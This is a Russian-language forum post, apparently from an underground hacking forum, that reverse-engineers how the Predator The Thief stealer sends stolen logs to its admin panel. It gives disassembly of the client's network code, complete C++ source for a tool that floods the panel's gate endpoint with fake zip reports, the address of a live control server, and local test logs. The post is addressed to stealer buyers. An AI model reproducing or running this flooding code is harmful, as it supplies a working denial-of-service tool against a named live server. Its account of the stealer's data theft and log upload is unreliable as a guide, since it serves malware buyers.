Начало
Привет, ребзя. Недавно вышла замечательная статья о декриптовке строк в стилере Predator The Thief: https://vlmi.top/threads/dekriptuem-stroki-v-predator-the-thief-stillere.22512/
Кто, вдруг, не читал – очень рекомендую. Особенно хорош там скрипт. Но разговор пойдёт сейчас не о строках. Дело в том, что после самой статьи есть несколько комментариев, которые говорят, что стилер хорош, свою работу делает и функциональность у него прекрасная. Типа, раз люди не жалуются, то всё нормально.
Знакомство с сэмплом
Решил и я глянуть, так ли там всё хорошо, как заявляют комментаторы. Первое, что мне захотелось проверить – это архитектуру самого стилера. Ведь неважно, насколько красиво и правильно написан код, как он тестируется и работает в идеальных условиях, если сама его архитектура уязвима. Сегодня мы будем ресёрчить, как именно Predator отправляет логи на свою серверную часть, а что с этим можно сделать.
Для начала найдём код, который работает с серверной частью.
Код:
text:00457221 push ebx ; dwFlags
.text:00457222 push ebx ; lpszProxyBypass
.text:00457223 push ebx ; lpszProxy
.text:00457224 push ebx ; dwAccessType
.text:00457225 lea eax, [esp+580h+szAgent+1]
.text:00457229 mov [esp+580h+var_4C1], bl
.text:00457230 push eax ; lpszAgent
.text:00457231 call ds:InternetOpenA
Здесь начинается работа с сервером через Internet API. Шифрование строк, конечно, очень хорошо, но при динамическом изучении кода под дебаггером абсолютно нам не мешает. Потому мы можем легко отследить логику работы клиента, и узнать, какие именно запросы отправляются на сервер.
Немного терминологии
Для лучшего понимания происходящего немного разберёмся с терминологией.
Клиент – текущий билд стилера, в котором прошиты параметры админ-панели. Именно эта часть должна запуститься на компьютере жертвы, собрать все данные и передать на сервер.
Админ-панель, она же серверная часть – удалённая машина, на которую будут приходить логи стилера. Логи приходят от клиентских машин, и хранятся на сервера до момента, когда на сервер не зайдёт владелец стилера. Владелец вводит валидный логин/пароль, и ему становятся доступны для скачивания/удаления логи с разных клиентских машин. В общем, админ-панель и серверная часть – разные сущности. На сервере есть панель, которая позволяет выполнять авторизацию и редактирование. Но в общем случае её может и не быть.
Логи – представляют собой zip-архив с информацией о паролях, куках, электронных кошельках, общей инфой о системе жертвы и скриншотом рабочего стола зараженной машины.
Предполагаемый алгоритм работы стилера (нормальное поведение)
После запуска клиент собирает информацию в архив и отправляет этот архив на сервер. Там этот архив хранится до тех пор, пока не будет скачан клиентом. И если точный алгоритм работы сервера нам неизвестен (Как долго он хранит логи? Как уведомляет о новых поступлениях?), то алгоритм клиента мы можем отреверсить и воспроизвести.
Атака
Смысл атаки заключается в генерации фейковых отчётов и отправке их на сервер. Там эти фейковые отчёты перемешиваются с настоящими, забивают память сервера – в общем, классическая атака «отказ в обслуживании». Пользователь, купивший стилер, откроет свою админку – а там тысячи логов, и пусть теперь все их разгребает J
Реализация
Код:
int main()
{
SpamServer server(std::string("localhost"),std::string("Info.zip"));
try
{
while (server.MakeSpamRequest())
{
std::cout << "Spam still sends successfully" << std::endl;
}
}
catch(const std::exception& error)
{
std::cout << error.what() << std::endl;
}
return 0;
}
В целом, цикл отправки спама будет выглядеть так. Вместо localhost нужно вписать адрес админки. Для нашего сэмпла адрес - http://opmolewahero.esy.es
Ещё нам понадобится zip-архив, возьмите какие-то ненужные файлы и сожмите в архив, сохраните его рядом с нашим мегаспамерским софтом. Он нам пригодится.
Код сервера выглядит вот так:
Код:
SpamServer::SpamServer(const std::string &AdminPanelUrl,const std::string& ZipFilePath):
requestWorker(AdminPanelUrl),
contentGenerator(ZipFilePath)
{
}
bool SpamServer::MakeSpamRequest() const
{
const auto spamContent = contentGenerator.ProduceData();
return requestWorker.SendData(spamContent);
}
Конструктор и метод, который делает реквест на админку. Не очень сложно, правда? Что внутри requestWorker и contentGenerator?
Генератор контента просто считывает zip-файл в байтовый вектор:
Код:
Content::Content(const std::string &PathToArchieve):ZipArchievePath(PathToArchieve)
{
}
std::vector<uint8_t> Content::ProduceData() const
{
std::vector<uint8_t> zipContent;
std::ifstream zipFile(ZipArchievePath,std::ios::binary);
std::for_each(std::istreambuf_iterator<char>(zipFile),std::istreambuf_iterator<char>(),
[&zipContent](char symbol) -> void
{
zipContent.push_back(static_cast<uint8_t>(symbol));
});
return zipContent;
}
requestWorker чуть более объёмный. Через Internet API он отправляет байтовый вектор на сервер, добавляя к нему ещё кое-какие метаданные:
Код:
Network::Network(const std::string &AdminPanel)
{
inet = InternetOpenA(UserAgent.c_str(),INTERNET_OPEN_TYPE_PRECONFIG,nullptr,nullptr,0);
if (!inet)
{
throw std::logic_error("Bad InternetOpen call");
}
connection = InternetConnectA(inet,AdminPanel.c_str(),80, nullptr,nullptr,INTERNET_SERVICE_HTTP,0,1);
if (!connection)
{
InternetCloseHandle(inet);
throw std::logic_error("Bad InternetConnect call");
}
}
Network::~Network() noexcept
{
InternetCloseHandle(inet);
InternetCloseHandle(connection);
}
bool Network::SendData(const std::vector<uint8_t> &data) const
{
bool result = false;
auto handle = HttpOpenRequestA(connection,RequestType.c_str(),RequestValue.c_str(),nullptr,nullptr,nullptr,
INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_KEEP_CONNECTION |
INTERNET_FLAG_PRAGMA_NOCACHE,1);
if (handle)
{
std::vector<uint8_t> fullData;
std::copy(Prolog.cbegin(),Prolog.cend(),std::back_inserter(fullData));
std::copy(data.cbegin(),data.cend(),std::back_inserter(fullData));
result = static_cast<bool>( HttpSendRequestA(handle,Headers.c_str(),Headers.length(),
const_cast<uint8_t*> ( fullData.data() ),fullData.size()) );
InternetCloseHandle(handle);
}
return result;
}
Вот некоторые константы, которые проливают свет на параметры запросов:
Код:
private:
const std::string RequestType = "POST";
const std::string RequestValue = "api/gate.get?p1=0&p2=0&p3=0&p4=0&p5=0&p6=0&p7=0";
const std::string UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36";
const std::string Headers = "Content-Type: multipart/form-data; boundary=---------------------------7d82751e2bc0858";
const std::vector<uint8_t> Prolog {
0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D,
0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x37, 0x64, 0x38,
0x32, 0x37, 0x35, 0x31, 0x65, 0x32, 0x62, 0x63, 0x30, 0x38, 0x35, 0x38, 0x0D, 0x0A, 0x43, 0x6F,
0x6E, 0x74, 0x65, 0x6E, 0x74, 0x2D, 0x44, 0x69, 0x73, 0x70, 0x6F, 0x73, 0x69, 0x74, 0x69, 0x6F,
0x6E, 0x3A, 0x20, 0x66, 0x6F, 0x72, 0x6D, 0x2D, 0x64, 0x61, 0x74, 0x61, 0x3B, 0x20, 0x6E, 0x61,
0x6D, 0x65, 0x3D, 0x22, 0x66, 0x69, 0x6C, 0x65, 0x22, 0x3B, 0x20, 0x66, 0x69, 0x6C, 0x65, 0x6E,
0x61, 0x6D, 0x65, 0x3D, 0x22, 0x37, 0x36, 0x30, 0x36, 0x36, 0x38, 0x34, 0x32, 0x32, 0x2E, 0x7A,
0x69, 0x70, 0x22, 0x0D, 0x0A, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x2D, 0x54, 0x79, 0x70,
0x65, 0x3A, 0x20, 0x61, 0x70, 0x70, 0x6C, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x2F, 0x6F,
0x63, 0x74, 0x65, 0x74, 0x2D, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x0D, 0x0A, 0x0D, 0x0A
};
В результате сотни запросов устремляются в админку, и если технически подготовленный специалист имеет шансы как-то отфильтровать в горах спама настоящие логи, то у рядового пользователя шансы стремятся к нулю.
Как выглядят логи запросов на стандартном питоновском локальном сервере (для тестов):
Код:
127.0.0.1 - - [22/Jul/2018 13:18:11] code 501, message Unsupported method ('POST')
127.0.0.1 - - [22/Jul/2018 13:18:11] "POST /api/gate.get?p1=0&p2=0&p3=0&p4=0&p5=0&p6=0&p7=0 HTTP/1.1" 501 -
127.0.0.1 - - [22/Jul/2018 13:18:11] code 501, message Unsupported method ('POST')
127.0.0.1 - - [22/Jul/2018 13:18:11] "POST /api/gate.get?p1=0&p2=0&p3=0&p4=0&p5=0&p6=0&p7=0 HTTP/1.1" 501 -
127.0.0.1 - - [22/Jul/2018 13:18:11] code 501, message Unsupported method ('POST')
127.0.0.1 - - [22/Jul/2018 13:18:11] "POST /api/gate.get?p1=0&p2=0&p3=0&p4=0&p5=0&p6=0&p7=0 HTTP/1.1" 501 -
127.0.0.1 - - [22/Jul/2018 13:18:11] code 501, message Unsupported method ('POST')
127.0.0.1 - - [22/Jul/2018 13:18:11] "POST /api/gate.get?p1=0&p2=0&p3=0&p4=0&p5=0&p6=0&p7=0 HTTP/1.1" 501 -
127.0.0.1 - - [22/Jul/2018 13:18:11] code 501, message Unsupported method ('POST')
127.0.0.1 - - [22/Jul/2018 13:18:11] "POST /api/gate.get?p1=0&p2=0&p3=0&p4=0&p5=0&p6=0&p7=0 HTTP/1.1" 501 -
127.0.0.1 - - [22/Jul/2018 13:18:11] code 501, message Unsupported method ('POST')
127.0.0.1 - - [22/Jul/2018 13:18:11] "POST /api/gate.get?p1=0&p2=0&p3=0&p4=0&p5=0&p6=0&p7=0 HTTP/1.1" 501 -
127.0.0.1 - - [22/Jul/2018 13:18:11] code 501, message Unsupported method ('POST')
127.0.0.1 - - [22/Jul/2018 13:18:11] "POST /api/gate.get?p1=0&p2=0&p3=0&p4=0&p5=0&p6=0&p7=0 HTTP/1.1" 501 -
127.0.0.1 - - [22/Jul/2018 13:18:11] code 501, message Unsupported method ('POST')
127.0.0.1 - - [22/Jul/2018 13:18:11] "POST /api/gate.get?p1=0&p2=0&p3=0&p4=0&p5=0&p6=0&p7=0 HTTP/1.1" 501 -
127.0.0.1 - - [22/Jul/2018 13:18:11] code 501, message Unsupported method ('POST')
127.0.0.1 - - [22/Jul/2018 13:18:11] "POST /api/gate.get?p1=0&p2=0&p3=0&p4=0&p5=0&p6=0&p7=0 HTTP/1.1" 501 -
127.0.0.1 - - [22/Jul/2018 13:18:11] code 501, message Unsupported method ('POST')
127.0.0.1 - - [22/Jul/2018 13:18:11] "POST /api/gate.get?p1=0&p2=0&p3=0&p4=0&p5=0&p6=0&p7=0 HTTP/1.1" 501 -
127.0.0.1 - - [22/Jul/2018 13:18:11] code 501, message Unsupported method ('POST')
Таким образом видно, что в секунду их могут прийти десятки.
Выводы
Смотрите, что покупаете. Помните – отзывы даже большого количества людей не могут вам гарантировать качества продукта, если вы сами не знаете, как работает то или иное приложение.
По поводу кода стилера – да, он монолитен. Да, он использует копипасты из открытых источников и публично доступные способы кражи данных. Вы платите за компиляцию уже известных методов, но это уже совсем другая история.